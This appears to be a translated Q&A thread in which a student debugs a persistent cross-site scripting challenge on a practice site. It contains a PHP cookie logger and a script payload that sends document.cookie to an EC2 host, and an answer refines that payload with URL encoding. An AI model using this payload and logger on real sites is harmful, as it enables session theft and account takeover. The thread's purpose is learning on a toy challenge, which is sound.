我正在执行此持久性跨站点脚本挑战作业,我们应该通过useragent注入来窃取cookie。可以在以下page (basic 41)上找到有关此挑战的更多详细信息:
背景:
由于此挑战位于玩具网站上,因此该网站模拟了受害者在为我们查看页面。我们需要做的是将代码注入到挑战页面服务器,并通过该代码窃取受害者的cookie,并将这些cookie发送到我们自己设置的Web服务器。成功收集受害者的Cookie之后,我们可以将自己的Cookie设置为这些值以应对挑战。
我到目前为止所做的:
在aws ec2
上设置Web服务器。
我相信这是centos,但由于无法安装centos-release软件包或类似的东西而找不到更多的发行信息。我只能找到Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。入站规则设置为ssh
的端口22和http
的端口80。 httpd,mysql,php已安装并经过测试工作。 index.html
下的文件/var/www/http
在浏览器中正常显示。
将cookie_stealer.php
放在/var/www/http
下
我的cookie_stealer.php
代码:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
到目前为止,我已经成功注入了代码,但是document.cookie
的值不会传递到我的php文件中。所以我目前正在关注这个问题。
我正在通过url测试来测试如何将变量传递给php:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
一个有趣的(奇怪的!)事情是,我在$_GET['c']
行之后将以下行添加到我的php文件中之后:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以以ahhh
的形式显示在网页上,但不会写入log.txt
中。 log.txt
仅记录以下内容:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
c
传递到服务器上的$cookie
,那么为什么该三元运算符总是在显示'There is no variable c'
的网页上返回ahhh
。谁能告诉我为什么会这样,或者我还能在哪里看?任何提示将不胜感激!答案 0 :(得分:1)
您可能需要更改文件许可权才能写入该日志文件。尝试:
id
答案 1 :(得分:0)
我的第一个念头是:
您可能需要URL附加cookie文本。可能其中有一些东西破坏了您的URL请求。
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
然后在PHP中,您可能必须解码,也可以不必解码它,
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
例如,您的导师my滑了一个#
标志或其中的某物。我不能肯定地说,因为我从未通过查询参数发送过cookie,但是我不认为它们会以这种方式发送。
无论如何,这对于评论来说实在太多了,希望对您有所帮助!